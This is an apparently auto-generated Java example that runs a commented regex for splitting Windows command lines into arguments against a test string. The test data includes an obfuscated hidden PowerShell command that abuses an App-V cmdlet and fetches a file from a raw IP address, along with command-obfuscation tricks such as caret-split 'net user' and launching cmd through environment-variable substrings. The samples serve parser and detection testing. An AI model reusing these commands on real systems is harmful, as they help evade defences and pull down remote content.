import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Example {
public static void main(String[] args) {
final String regex = "(?#\\\n"
+ "Doc: This regex will split the commandline in arguments\n\n"
+ "Details:\n"
+ " The arg variable will contain all the different arguments\n"
+ " argument delimiters are in two categories :\n"
+ " whitespaces delimiters : \\t \\n \\r \\v ' '\n"
+ " ',' : is a delimiter in the windows cmd \n"
+ " but it's not one in the powershell\n"
+ " quotation delimiters : \\' \\` \\\"\n\n"
+ "Variables:\n"
+ " arg : will contain each argument\n"
+ "Next variables can be adjusted by adding or deleting delimiters\n"
+ " quote_delimiters : quoted argument delimiters\n"
+ " whitespace_delimiters : whitespace argument delimiters\n\n"
+ ")(?#\\\n"
+ ")(?<arg>(?#\\\n"
+ " )(?<arg_quote>(?#\\\n"
+ " )(?<quote_delimiters>\"|'|`)(?#\\\n"
+ " )(?:(?#\\\n"
+ " )(?!\\3)(?#\\\n"
+ " )(?<escape>(?(?!\\\\)[\\x00-\\xFF]|[\\x00-\\xFF]{2}))(?#\\\n"
+ " ))*(?#\\\n"
+ " )\\3(?#\\\n"
+ " ))|(?<arg_whitespace>(?#\\\n"
+ " )(?:(?#\\\n"
+ " )(?!(?#\\\n"
+ " )(?<whitespace_delimiters>\\s|$)|(?#\\\n"
+ " )(?P>quote_delimiters)(?#\\\n"
+ " ))(?#\\\n"
+ " )(?P>escape)(?#\\\n"
+ " ))+(?#\\\n"
+ " ))(?#\\\n"
+ "))(?#\\\n"
+ ")(?#\\\n"
+ ")(?#\\\n"
+ "Related doc:\n"
+ " https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019\n"
+ " http://daviddeley.com/autohotkey/parameters/parameters.htm\n"
+ ")";
final String string = "\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe\" --type=renderer /prefetch:1 \"R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf\"\n\n"
+ "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}\n\n"
+ "\"UNIT TESTS :\"\n\n"
+ "''\n"
+ " arg0\\ \\ \\\\ \"arg1\\\"\\\"\" \"arg2\\\"\\\\\"\"arg3 \\\"\" 'arg4\"arg4\"' arg5 arg6 \n\n"
+ " space_bef_and_aft__arg0 arg1 arg2 arg3 \n"
+ "space_aft___________arg0 arg1 arg2 arg3 \n"
+ " space_bef__________arg0 arg1 arg2 arg3\n"
+ "nospace_____________arg0 arg1 arg2 arg3\n\n"
+ " multispace______________arg0 arg1 arg2 arg3 arg4 \n\n"
+ " C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py \"%USERPROFILE%/\" \n\n"
+ ".\n\n"
+ "`echo `ls \"/tmp\"``'``'\n\n"
+ "1\"\"3\"4\"\n\n"
+ "n^e^t u^s^er\n\n"
+ "cmd /c \"set x=calc & echo %x% | cmd\"\n"
+ "cmd /c \"set x=c@alc & echo %x:@=mantvydas% | cmd\"\n\n"
+ "\\c \\\\ \\' \\\" '\\'\\'\\'\\'\\'\\'\\'\\\\' \n\n"
+ "'# this will take the C character from %programdata% and will launch the cmd prompt'\n"
+ "%programdata:~0,1%md \\c \"whatever\"\n\n"
+ "@cmd\n"
+ "set pSM \n"
+ "PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;....\n\n"
+ "FOR /F \"tokens=7 delims=s\\\\\" %g IN ('set^|findstr PSM') do %g\n\n"
+ "cmd,/c;hostname\n\n\n\n\n\n";
final Pattern pattern = Pattern.compile(regex, Pattern.MULTILINE);
final Matcher matcher = pattern.matcher(string);
while (matcher.find()) {
System.out.println("Full match: " + matcher.group(0));
for (int i = 1; i <= matcher.groupCount(); i++) {
System.out.println("Group " + i + ": " + matcher.group(i));
}
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html